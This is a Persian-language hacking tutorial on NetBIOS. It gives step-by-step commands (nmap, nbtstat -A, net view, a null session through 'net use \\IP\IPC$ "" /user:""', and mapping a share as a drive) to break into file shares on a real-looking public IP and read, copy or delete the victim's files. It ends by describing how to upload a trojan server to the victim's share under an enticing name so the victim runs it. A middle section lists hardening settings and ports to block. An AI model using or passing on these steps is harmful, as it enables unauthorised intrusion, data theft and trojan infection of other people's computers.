ورود به دنیای هک - Net Bios
NetBIOS مخفف عبارت Network Basic Input/Output System است. NetBIOS ابزاری است که اجازه به اشتراک گذاشتن منابع رو به ما میده. ما برای به اشتراک گذاشتن فایلها و یا پرینتر میتونیم از این پروتکل استفاده کنیم. نکته مهم این است که NetBIOS فقط در سیستمعامل ویندوز معنی داره (اگرچه ابزارهایی مثل Samba در لینوکس میتونن اونو شبیه سازی کنن ولی بحث ما خود پروتکل NetBIOS است). وقتی NetBIOS در ویندوز فعال باشد، بلافاصله سه تا پورت برای استفاده باز میشوند. پورت مهم و اصلی پورت ۱۳۹ در tcp است که NetBIOS را هم با این پورت میشناسن. دو پورت دیگر، از نوع udp هستند و عبارتند از پورت ۱۳۷ برای name service و پورت ۱۳۹ برای Datagram service . وقتی قرار باشه که یک سیستمعامل ویندوز هک بشه ( خصوصا اگه کلاینت باشه ) یکی از اولین مواردی که به ذهن میرسه، استفاده از NetBIOS .
حالا ببینیم منظور از به اشتراک گذاشتن (Sharing) در مورد فایلها و پرینترها چیست؟
به اشتراک گذاشتن در مورد فایلها یعنی قرار دادن تعدادی فایل در یک کامپیوتر خاص به طوریکه توسط سایر کامپیوترها قابل دسترسی و استفاده باشه. در مورد پرینتر به اشتراک گذاشتن یعنی طوری چاپگر متصل به یک کامپیوتر را تنظیم کنیم که توسط سایر کامپیوترها هم قابل استفاده باشه. با توجه به اینکه در سیستمعاملهای ویندوز به صورت پیشفرض NetBIOS فعال است، پس میتوان به تعدادی از فایلها و فولدرهای تعدادی از کامپیوترهای روی شبکه دسترسی داشت و فایلها را خواند و حتی کپی یا پاک کرد.
◊ چگونه با پورت ۱۳۹ صحبت کنیم؟
۱- اولین کاری که میکنیم این است که برای پورت ۱۳۹ پورت اسکن میکنیم تا ip هایی را که پورت ۱۳۹ در آنها باز است، پیدا کنیم. من این کار را با nmap انجام میدم. فرض کنید که یک ip به شماره 217.218.84.29 را تست کرده و به نتیجه زیر برسم:
Interesting ports on HOME-TU6U0AV86Y (217.218.84.29):
Port State Service
139/tcp open netbios-ssn
Remote operating system guess: Windows Millenn... (Me), Win 2000, or WinXP
این خروجی اعلام میکند که پورت ۱۳۹ باز است. پس میشود از این ip استفاده کرد.
۲- حالا میخوام با این پورت ارتباط برقرار کنم. اصولا باید مثل سابق از telnet یا nc استفاده کنم ولی در مورد پورت ۱۳۹ روش ارتباطی فرق میکند. کامنت پرامت را باز کرده و دستور زیر را مینویسم:
nbtstat -A 217.218.84.29
دستور nbtstat یک ابزار خاص برای کار با NetBIOS است. دقت کنید که از پارامتر A- با ip مربوطه استفاده کردم. (دستور nbtstat دارای پارامترهای بسیاری است که اگه میخواین همه رو ببینین، بنویسین nbtstat و enter را بزنید.)
حالا بحث اینه که این دستور چه کاری میکنه و خروجی به چه صورتی است:
این دستور به ip مورد نظر وصل میشه و از اون میخواد لیست منابعی رو که به اشتراک گذاشته رو لیست کنه. در این حالت ۲ حالت ممکنه اتفاق بیوفته:
الف) مواجه با پیغام Host not found بشم. این یعنی اینکه نمیتونه لیست منابع را از اون کامپیوتر بگیره (یعنی NetBIOS غیر فعاله). یعنی اگرچه پورت ۱۳۹ بازه ولی قابل استفاده نیست.
ب) ارتباط برقرار بشه و لیست منابع اشتراکی لیست بشه:
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
HOME-TU6U0AV86Y<00> UNIQUE Registered
MSHOME <00> GROUP Registered
HOME-TU6U0AV86Y<20> UNIQUE Registered
MSHOME <1E> GROUP Registered
MAC Address = 00-53-45-00-00-00
۳- در این نتایج چیزی که به درد میخوره، سطری است که <20> دارد. اگه <20> نباشد، یعنی نمیتونین از اشتراک گذاری فایل استفاده کنید ( به عبارت ساده تر بیخیال شو این کامپیوتر رو ! ). در این مثال ما این سطر را داشتیم پس ادامه میدهیم. حالا مینویسم:
net view \\217.218.84.29
حالا اگه گفتین چی میشه؟ درسته! دو حالت ممکنه اتفاق بیوفته:
الف) پیغام بیاد
System error 5 has occurred.
Access is denied.
این یعنی نمیتونین ادامه بدین. به عبارت دیگه ایست! ولی یه کاری میتونید بکنید و اون اینه که یه null session برقرار کنید با اون کامپیوتر. این حالت در مورد ویندوزهای سری NT جواب میده. مینویسید:
net use \\217.218.84.29\IPC$ "" /user:""
حالا چرا میگن null session ؟ دلیلش اینه که یک ارتباط برقرار کردم با اون ip بدون username و بدون password . حالا اگه این دستور جواب داد میتونم دوباره دستور net view \\217.218.84.29 را تکرار کنم.
ب) ممکنه دستور ذکر شده جواب بده و مثلا جواب بده:
Shared resources at \\217.218.84.29
Share name Type Used as Comment
------------------------------------------------
Printer Print Acrobat PDFWriter
Printer2 Print Acrobat Distiller
SharedDocs Disk
The command completed successfully.
عالیه. دقت کنید که در این کامپیوتر یک فایل (Disk) به اسم ShareDocs به اشتراک گذاشته شده (دو تای باقی برای پرینتر است). حالا که رسیدم به این اسم دیگه آخرین دستور را مینویسم.
۴- حالا وقتشه که واقعا عمل به اشتراک گذاشتن رو انجام بدیم. برای اینکار باید یک درایو انتخاب کنید. حتما میدونید که درایو چیه. وقتی شما My Computer را دابل کلیک کرده و باز میکنید، یک سری آیکون میبینید که هر کدام اسمی دارند. مثلا :A برای فلاپی و و و تا میرسید به cdrom که آخرین حرف را دارد. مثلا فرض کنید که :K باشه. حالا باید اسم درایو رو برای اشتراک گذاشتن انتخاب کنید. برای اینکار حرف بعدی در زبان انگلیسی رو به کار ببرید. چون در کامپیوتر من :K آخرین بود، من حرف بعدی یعنی :L را انتخاب میکنم و دستور زیر را مینویسم:
net use L: \\217.218.84.29\SharedDocs
به اسم درایو، ip و نام مربوطه که ShareDocs دقت کنید. چون من اصطلاحا به صورت null session دارم ارتباط میگیرم، ممکنه کار نکنه ولی اگه درست کار کنه جواب میشنوم:
The command completed successfully.
معرکه است!!! حالا My Computer رو باز کنید و ببینید که درایو جدید به لیست درایوها اضافه شده که میتونین مثل درایوهای معمولی با اون کار کنید و فایل کپی کنید و ...
۵- وقتی کار تموم شد میتونید درایو رو حذف کنید. برای اینکار میتونین روی درایو رایتکلیک کنید و Disconnect را انتخاب کنید. و یا اینکه از دستور
net use /delete L:
استفاده کنید.
◊ چگونه NetBIOS را روی کامپیوتر خودمان فعال یا غیر فعال کنیم؟
برای غیرفعال کردن NetBIOS در ویندوز با توجه به نوع آن ویندوز روشهای مختلفی هست. جدول پایینی برای همین موضوع طراحی شده است:
Win 2000
Win XP Home
Win XP Professional
Start > Programs > Administrative Tools > Local Security Settings > Local Policies > Security Options > Additional restrictions of anonymous connections > Local policy setting > "No access without explicit anonymous permissions" > Ok
Start > Programs > Administrative Tools > Local Security Settings > Local Policies >
1) Network Access: Do not allow anonymous enumeration of SAM accounts: Enabled
2) Network Access: Do not allow anonymous enumeration of SAM accounts and shares: Enabled
Start > Run > regedit > HKEY_LOCAL_MACHINE > HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet > Control > LSA > RestrictAnonymous=2
میتونید به کمک فایروال یا روتر پورتهای زیر را ببندید:
135 TCP DCE/RPC Portmapper
137 TCP/UDP NetBIOS Name Service
138 TCP/UDP NetBIOS Datagram Service
139 TCP NetBIOS Session Service
445 TCP Microsoft-DS (Windows 2000 CIFS/SMB)
۱- وقتی پورت ۱۳۹ رو میبندید، دیگه نمیتونید از NetBIOS استفاده کنید ( مگر اینکه دوباره پورت رو به صورت فعال در آورید). پس وقتی که کسی رو میخواهید هک کنید، نیاز دارید که برای مدت کوتاهی دوباره پورت رو فعال کنید.
۲- میبینید که مثلا برای ویندوز ۲۰۰۰ به سه روش کار کنید، در این جدول فقط کافی است یکی رو اعمال کنید.
۳- اگه بعد از غیر فعال کردن، دوباره بخواهید فعال کنید، در مرحله آخر هر یک از روشهای بالا، گزینهای که مخالف گزینه ذکر شده در جدول است رو انتخاب کنید، مثلا اگه در جدول Enabled را نوشتهایم، شما Disable را انتخاب کنید.
◊ چگونه از این امکانات به اشتراک گذاشتن، برای اجرای یک تروجان روی کامپیوتر قربانی استفاده کنیم؟
روش کار به این صورت است که فرضا من الان تونستم یک درایو رو از یک کامپیوتر با پورت باز Share کنم. حالا فایل تروجان ( سرور تروجان ) را upload میکنم به اون کامپیوتر و اسمی براش انتخاب میکنم که طرف مقابل رو به اجرای فایل تشویق کنه. یک اشتباهی که بعضیها میکنند اینه که بعد از کپی کردن تروجان در کامپیوتر هدف، خود هکر میآد و فایل رو دابل کلیک میکنه، در این حالت تروجان روی کامپیوتر خودمون (هکر) اجرا میشه نه کامپیوتر قربانی. پس ما فقط فایل رو میفرستیم و منتظر میمونیم که طرف مقابل اجرا کنه.